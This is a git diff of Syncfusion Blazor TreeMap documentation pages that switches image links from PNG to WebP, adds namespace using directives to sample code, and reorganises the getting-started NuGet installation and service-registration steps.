 N> Refer to the [code block](#range-color-mapping) to know about the property value of the **Fruits**.
 
-![Blazor TreeMap with Color Mapping for Excluded Items](images/Colormapping/blazor-treemap-color-for-exclude-item.png)
+![Blazor TreeMap with Color Mapping for Excluded Items](images/Colormapping/blazor-treemap-color-for-exclude-item.webp)
 
 ## Bind the colors to items from the data source
 
@@ -194,4 +194,4 @@ N> Refer to the [code block](#range-color-mapping) to know about the property va
 }
 ```
 
-![Binding Colors in Blazor TreeMap](images/Colormapping/blazor-treemap-color-binding.png)
+![Binding Colors in Blazor TreeMap](images/Colormapping/blazor-treemap-color-binding.webp)
diff --git a/blazor/treemap/data-binding.md b/blazor/treemap/data-binding.md
index dd28d2f3d1..fe362b60f1 100644
--- a/blazor/treemap/data-binding.md
+++ b/blazor/treemap/data-binding.md
@@ -48,7 +48,7 @@ The following code example shows, how to bind a flat collection as data source t
 }
 ```
 
-![Blazor TreeMap with Flat Data](images/Databinding/blazor-treemap-flat-data.png)
+![Blazor TreeMap with Flat Data](images/Databinding/blazor-treemap-flat-data.webp)
 
 ### Hierarchical data
 
@@ -180,7 +180,7 @@ The following code example shows, how to bind a hierarchical collection as data
 }
 ```
 
-![Blazor TreeMap with Hierarchical Data](images/Databinding/blazor-treemap-hierarchical-data.png)
+![Blazor TreeMap with Hierarchical Data](images/Databinding/blazor-treemap-hierarchical-data.webp)
 
 ## Local data
 
@@ -221,7 +221,7 @@ The following code example shows, how to bind a `IEnumerable` object to the Tree
 }
 ```
 
-![Blazor TreeMap with Local Data](images/Databinding/blazor-treemap-local-data.png)
+![Blazor TreeMap with Local Data](images/Databinding/blazor-treemap-local-data.webp)
 
 ### Fetching data from the JSON file
 
@@ -261,7 +261,7 @@ else
 }
 ```
 
-![Loading Blazor TreeMap Data from JSON File](images/Databinding/blazor-treemap-flat-data.png)
+![Loading Blazor TreeMap Data from JSON File](images/Databinding/blazor-treemap-flat-data.webp)
 
 N> Refer the data values for [product_growth](https://www.syncfusion.com/downloads/support/directtrac/general/ze/product-growth-360857189) here. 
 
@@ -305,7 +305,7 @@ N> If [SfDataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Da
 }
 ```
 
-![Data Binding with OData Service in Blazor TreeMap](images/Databinding/blazor-treemap-binding-with-odata.png)
+![Data Binding with OData Service in Blazor TreeMap](images/Databinding/blazor-treemap-binding-with-odata.webp)
 
 ### Binding with OData V4 services
 
@@ -341,7 +341,7 @@ N> For more details on OData V4 services, refer to the [OData documentation](htt
 }
 ```
 
-![Data Binding with OData V4 Service in Blazor TreeMap](images/Databinding/blazor-treemap-binding-with-odatav4.png)
+![Data Binding with OData V4 Service in Blazor TreeMap](images/Databinding/blazor-treemap-binding-with-odatav4.webp)
 
 ### Web API
 
@@ -377,7 +377,7 @@ Use [WebApiAdaptor](https://blazor.syncfusion.com/documentation/data/adaptors/?n
 }
 ```
 
-![Data binding with Web API Adaptor in Blazor TreeMap](images/Databinding/blazor-treemap-webapiadaptor.png)
+![Data binding with Web API Adaptor in Blazor TreeMap](images/Databinding/blazor-treemap-webapiadaptor.webp)
 
 ## Entity Framework
 
diff --git a/blazor/treemap/drill-down.md b/blazor/treemap/drill-down.md
index 186c076c36..ae0a3b4101 100644
--- a/blazor/treemap/drill-down.md
+++ b/blazor/treemap/drill-down.md
@@ -58,7 +58,7 @@ The TreeMap items can be drilled by setting the [EnableDrillDown](https://help.s
 }
 ```
 
-![Blazor TreeMap with Drill-down](images/drilldown/blazor-treemap-drill-down.png)
+![Blazor TreeMap with Drill-down](images/drilldown/blazor-treemap-drill-down.webp)
 
 ## On-demand data loading
 
@@ -87,7 +87,7 @@ All the child items are rendered during the normal drill-down process, and visib
 
 N> Refer to the [code block](#perform-drill-down) to know about the property value of **Employees**.
 
-![Blazor TreeMap with On Demand Data Loading](images/drilldown/blazor-treemap-on-demand-data-loading.png)
+![Blazor TreeMap with On Demand Data Loading](images/drilldown/blazor-treemap-on-demand-data-loading.webp)
 
 ## Breadcrumb support
 
@@ -116,7 +116,7 @@ TreeMap items are drilled, up to any level of parent using breadcrumb navigation
 
 N> Refer to the [code block](#perform-drill-down) to know about the property value of the **Employees**.
 
-![Blazor TreeMap with Breadcrumb](images/drilldown/blazor-treemap-breadcrumb.png)
+![Blazor TreeMap with Breadcrumb](images/drilldown/blazor-treemap-breadcrumb.webp)
 
 ## Initial drill-down
 
@@ -146,4 +146,4 @@ TreeMap items can be drilled on initial rendering and it can be enabled by speci
 
 N> Refer to the [code block](#perform-drill-down) to know about the property value of **Employees**.
 
-![Blazor TreeMap with Initial Drill-down](images/drilldown/blazor-treemap-initial-drill-down.png)
\ No newline at end of file
+![Blazor TreeMap with Initial Drill-down](images/drilldown/blazor-treemap-initial-drill-down.webp)
\ No newline at end of file
diff --git a/blazor/treemap/getting-started-webapp.md b/blazor/treemap/getting-started-webapp.md
index 8fcd9322e2..95b0abe16c 100644
--- a/blazor/treemap/getting-started-webapp.md
+++ b/blazor/treemap/getting-started-webapp.md
@@ -166,6 +166,8 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.TreeMap
+
 <SfTreeMap DataSource="GrowthReport"
             WeightValuePath="GDP"
             TValue="Country">
@@ -196,7 +198,7 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeMap component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VtLzNCgtfcrsSecB?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeMap Component](images/blazor-treemap.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VtLzNCgtfcrsSecB?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeMap Component](images/blazor-treemap.webp)" %}
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/TreeMap).
 
@@ -207,6 +209,8 @@ Add label text to the leaf items in the TreeMap component by setting the field n
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.TreeMap
+
 <SfTreeMap DataSource="GrowthReport"
             WeightValuePath="GDP"
             TValue="Country">
@@ -218,7 +222,7 @@ Add label text to the leaf items in the TreeMap component by setting the field n
 
 N> Refer to the [code block](#adding-treemap-component) to know about the property value of the **GrowthReport**.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LtBpXWUjTGrcfQex?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeMap with Label](images/blazor-treemap-with-label.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LtBpXWUjTGrcfQex?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeMap with Label](images/blazor-treemap-with-label.webp)" %}
 
 ## Adding title to Blazor TreeMap
 
@@ -227,6 +231,8 @@ Add a title using the [Text](https://help.syncfusion.com/cr/blazor/Syncfusion.Bl
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.TreeMap
+
 <SfTreeMap DataSource="GrowthReport"
             WeightValuePath="GDP"
             TValue="Country">
@@ -239,7 +245,7 @@ Add a title using the [Text](https://help.syncfusion.com/cr/blazor/Syncfusion.Bl
 
 N> Refer to the [code block](#adding-treemap-component) to know about the property value of the **GrowthReport**.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VDVJNWgtfGUUNerG?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeMap with Title](images/blazor-treemap-with-title.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VDVJNWgtfGUUNerG?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeMap with Title](images/blazor-treemap-with-title.webp)" %}
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/TreeMap).
 
@@ -250,6 +256,8 @@ The color mapping supports customization of item colors based on the underlying
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.TreeMap
+
 <SfTreeMap DataSource="GrowthReport"
             WeightValuePath="GDP"
             TValue="Country"
@@ -268,7 +276,7 @@ The color mapping supports customization of item colors based on the underlying
 
 N> Refer to the [code block](#adding-treemap-component) to know about the property value of the **GrowthReport**.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rZBpZWAjTGKvLKSK?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeMap with Color Mapping](images/blazor-treemap-color-mapping.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rZBpZWAjTGKvLKSK?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeMap with Color Mapping](images/blazor-treemap-color-mapping.webp)" %}
 
 ## Enable legend
 
@@ -277,6 +285,8 @@ Legend items are used to denote the color mapping categories and show the legend
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.TreeMap
+
 <SfTreeMap DataSource="GrowthReport"
             WeightValuePath="GDP"
             TValue="Country"
@@ -296,7 +306,7 @@ Legend items are used to denote the color mapping categories and show the legend
 
 N> Refer to the [code block](#adding-treemap-component) to know about the property value of the **GrowthReport**.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BjBpDCqDJcJzjaSL?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeMap with Legend](images/blazor-treemap-legend.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BjBpDCqDJcJzjaSL?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeMap with Legend](images/blazor-treemap-legend.webp)" %}
 
 ## Enable tooltip
 
@@ -305,6 +315,8 @@ When space constraints prevents from displaying information using data labels, t
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.TreeMap
+
 <SfTreeMap DataSource="GrowthReport"
             WeightValuePath="GDP"
             TValue="Country"
@@ -325,7 +337,7 @@ When space constraints prevents from displaying information using data labels, t
 
 N> Refer to the [code block](#adding-treemap-component) to know about the property value of the **GrowthReport**.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BZBJXCUDJGTEuBNf?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeMap with Tooltip](images/blazor-treemap-tooltip.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BZBJXCUDJGTEuBNf?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeMap with Tooltip](images/blazor-treemap-tooltip.webp)" %}
 
 N> You can also explore our [Blazor TreeMap example](https://blazor.syncfusion.com/demos/treemap/default-functionalities?theme=bootstrap5) that shows you how to render and configure the treemap.
 
diff --git a/blazor/treemap/getting-started.md b/blazor/treemap/getting-started.md
index a624df9490..12b96a58f6 100644
--- a/blazor/treemap/getting-started.md
+++ b/blazor/treemap/getting-started.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Getting Started with Blazor TreeMap Component
 
-This section briefly explains about how to include [Blazor TreeMap](https://www.syncfusion.com/blazor-components/blazor-treemap) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
+This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeMap](https://www.syncfusion.com/blazor-components/blazor-treemap) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -23,22 +23,6 @@ This section briefly explains about how to include [Blazor TreeMap](https://www.
 
 Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
-![Blazor WASM Create Project Template](images/blazor-wasm-app-template.png)
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeMap NuGet in the App
-
-To add the **Blazor TreeMap** component in the app, open the NuGet package manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), then search and install [Syncfusion.Blazor.TreeMap](https://www.nuget.org/packages/Syncfusion.Blazor.TreeMap). Alternatively, run the following commands in the Package Manager Console to achieve the same.
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.TreeMap -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -51,7 +35,7 @@ N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are availa
 
 Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
 
-Alternatively, create a WebAssembly application by using the following command in the integrated terminal(<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+Alternatively, create a WebAssembly application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
 
@@ -64,25 +48,6 @@ cd BlazorApp
 
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeMap NuGet in the App
-
-* Press <kbd>Ctrl</kbd>+<kbd>`</kbd> to open the integrated terminal in Visual Studio Code.
-* Ensure in the project root directory where the `.csproj` file is located.
-* Run the following command to install the [Syncfusion.Blazor.TreeMap](https://www.nuget.org/packages/Syncfusion.Blazor.TreeMap) NuGet package and ensure all dependencies are installed.
-
-{% tabs %}
-
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.TreeMap -v {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
-
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -101,7 +66,7 @@ dotnet --version
 
 ## Create a Blazor WebAssembly App using .NET CLI
 
-Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to [this Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
+Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
 
 {% tabs %}
 {% highlight c# tabtitle=".NET CLI" %}
@@ -112,31 +77,32 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeMap NuGet in the App
+{% endtabcontent %}
+
+{% endtabcontents %}
+
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.TreeMap](https://www.nuget.org/packages/Syncfusion.Blazor.TreeMap/) NuGet package in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
 
-To add the **Blazor TreeMap** component to the application, run the following commands in a command prompt (Windows), command shell (Linux), or terminal (macOS) to install the [Syncfusion.Blazor.TreeMap](https://www.nuget.org/packages/Syncfusion.Blazor.TreeMap/) NuGet package. See [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli) for more details.
+Alternatively, run the following command in the Package Manager Console to achieve the same.
 
 {% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
+{% highlight C# tabtitle="Package Manager" %}
 
-dotnet add package Syncfusion.Blazor.TreeMap -Version {{ site.releaseversion }}
-dotnet restore
+Install-Package Syncfusion.Blazor.TreeMap -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
-{% endtabcontent %}
-
-{% endtabcontents %}
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-## Add Import Namespaces
+## Add import namespaces
 
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.TreeMap` namespaces.
+After the package is installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.TreeMap` namespaces.
 
 {% tabs %}
-{% highlight razor tabtitle="~/_Imports.razor" %}
+{% highlight C# tabtitle="~/_Imports.razor" %}
 
 @using Syncfusion.Blazor
 @using Syncfusion.Blazor.TreeMap
@@ -144,25 +110,17 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/Program.cs** file of the Blazor WebAssembly App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
 
 {% tabs %}
-{% highlight C# tabtitle="~/Program.cs" hl_lines="3 11" %}
+{% highlight C# tabtitle="Program.cs" %}
 
-using Microsoft.AspNetCore.Components.Web;
-using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
+....
 using Syncfusion.Blazor;
-
-var builder = WebAssemblyHostBuilder.CreateDefault(args);
-builder.RootComponents.Add<App>("#app");
-builder.RootComponents.Add<HeadOutlet>("head::after");
-
-builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
-
+....
 builder.Services.AddSyncfusionBlazor();
-await builder.Build().RunAsync();
 ....
 
 {% endhighlight %}
@@ -170,25 +128,26 @@ await builder.Build().RunAsync();
 
 ## Add script resources
 
-The script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the script reference within the `<head>` section of the **~/index.html** file.
+The script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include script reference in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-</head>
+
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
 
 N> Check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
-## Add Blazor TreeMap component
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeMap component
 
 Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeMap component in the **~/Pages/Index.razor** file.
 
 * You can use the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeMap.SfTreeMap-1.html#Syncfusion_Blazor_TreeMap_SfTreeMap_1_DataSource) property to load the car sales details in the TreeMap component. Specify a field name from the data source in the [WeightValuePath](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeMap.SfTreeMap-1.html#Syncfusion_Blazor_TreeMap_SfTreeMap_1_WeightValuePath) property to calculate the TreeMap item size.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.TreeMap
 
 <SfTreeMap DataSource="GrowthReport"
             WeightValuePath="GDP"
@@ -220,14 +179,18 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeMap componen
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeMap component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VtLzNCgtfcrsSecB?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeMap Component](images/blazor-treemap.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VtLzNCgtfcrsSecB?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeMap Component](images/blazor-treemap.webp)" %}
 
 ## Adding labels in Blazor TreeMap items
 
 Add label text to the leaf items in the TreeMap component by setting the field name from data source in the [LabelPath](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeMap.TreeMapLeafItemSettings.html#Syncfusion_Blazor_TreeMap_TreeMapLeafItemSettings_LabelPath) property in the [TreeMapLeafItemSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeMap.TreeMapLeafItemSettings.html), and it provides information to the user about the leaf items.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.TreeMap
+
+@using Syncfusion.Blazor.TreeMap
 
 <SfTreeMap DataSource="GrowthReport"
             WeightValuePath="GDP"
@@ -240,14 +203,18 @@ Add label text to the leaf items in the TreeMap component by setting the field n
 
 N> Refer to the [code block](#adding-treemap-component) to know about the property value of the **GrowthReport**.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LtBpXWUjTGrcfQex?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeMap with Label](images/blazor-treemap-with-label.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LtBpXWUjTGrcfQex?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeMap with Label](images/blazor-treemap-with-label.webp)" %}
 
 ## Adding title to Blazor TreeMap
 
 Add a title using the [Text](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeMap.TreeMapTitleSettings.html#Syncfusion_Blazor_TreeMap_TreeMapTitleSettings_Text) property in the [TreeMapTitleSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeMap.TreeMapTitleSettings.html) to provide quick information to the user about the items rendered in the TreeMap.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.TreeMap
+
+@using Syncfusion.Blazor.TreeMap
 
 <SfTreeMap DataSource="GrowthReport"
             WeightValuePath="GDP"
@@ -261,7 +228,7 @@ Add a title using the [Text](https://help.syncfusion.com/cr/blazor/Syncfusion.Bl
 
 N> Refer to the [code block](#adding-treemap-component) to know the property value of the **GrowthReport**.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VDVJNWgtfGUUNerG?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeMap with Title](images/blazor-treemap-with-title.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VDVJNWgtfGUUNerG?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeMap with Title](images/blazor-treemap-with-title.webp)" %}
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/TreeMap).
 
@@ -270,7 +237,11 @@ N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-
 The color mapping supports customization of item colors based on the underlying value received from the bound data source. Specify the field name from which the values have to be compared for the items in the [RangeColorValuePath](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeMap.SfTreeMap-1.html#Syncfusion_Blazor_TreeMap_SfTreeMap_1_RangeColorValuePath) property in [SfTreeMap](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeMap.SfTreeMap-1.html). Also, specify range value and color in the [TreeMapLeafColorMapping](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeMap.TreeMapLeafColorMapping.html). Here, in this example, **"Orange"** is specified for the range **"0 - 3000"** and **"Green"** is specified for the range **"3000 - 20000"**.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.TreeMap
+
+@using Syncfusion.Blazor.TreeMap
 
 <SfTreeMap DataSource="GrowthReport"
             WeightValuePath="GDP"
@@ -290,14 +261,18 @@ The color mapping supports customization of item colors based on the underlying
 
 N> Refer to the [code block](#adding-treemap-component) to know about the property value of the **GrowthReport**.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rZBpZWAjTGKvLKSK?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeMap with Color Mapping](images/blazor-treemap-color-mapping.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rZBpZWAjTGKvLKSK?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeMap with Color Mapping](images/blazor-treemap-color-mapping.webp)" %}
 
 ## Enable legend
 
 Legend items are used to denote the color mapping categories and show the legend for the TreeMap by setting the [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeMap.TreeMapLegendSettings.html#Syncfusion_Blazor_TreeMap_TreeMapLegendSettings_Visible) property to **true** in the [TreeMapLegendSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeMap.TreeMapLegendSettings.html).
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.TreeMap
+
+@using Syncfusion.Blazor.TreeMap
 
 <SfTreeMap DataSource="GrowthReport"
             WeightValuePath="GDP"
@@ -318,14 +293,18 @@ Legend items are used to denote the color mapping categories and show the legend
 
 N> Refer to the [code block](#adding-treemap-component) to know about the property value of the **GrowthReport**.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BjBpDCqDJcJzjaSL?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeMap with Legend](images/blazor-treemap-legend.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BjBpDCqDJcJzjaSL?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeMap with Legend](images/blazor-treemap-legend.webp)" %}
 
 ## Enable tooltip
 
 When space constraints prevents from displaying information using data labels, the tooltip comes in handy. The tooltip can be enabled by setting the [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeMap.TreeMapTooltipSettings.html#Syncfusion_Blazor_TreeMap_TreeMapTooltipSettings_Visible) property to **true** in the [TreeMapTooltipSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeMap.TreeMapTooltipSettings.html).
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.TreeMap
+
+@using Syncfusion.Blazor.TreeMap
 
 <SfTreeMap DataSource="GrowthReport"
             WeightValuePath="GDP"
@@ -347,7 +326,7 @@ When space constraints prevents from displaying information using data labels, t
 
 N> Refer to the [code block](#adding-treemap-component) to know about the property value of the **GrowthReport**.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BZBJXCUDJGTEuBNf?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeMap with Tooltip](images/blazor-treemap-tooltip.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BZBJXCUDJGTEuBNf?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeMap with Tooltip](images/blazor-treemap-tooltip.webp)" %}
 
 N> You can also explore our [Blazor TreeMap example](https://blazor.syncfusion.com/demos/treemap/default-functionalities?theme=bootstrap5) that shows you how to render and configure the treemap.
 
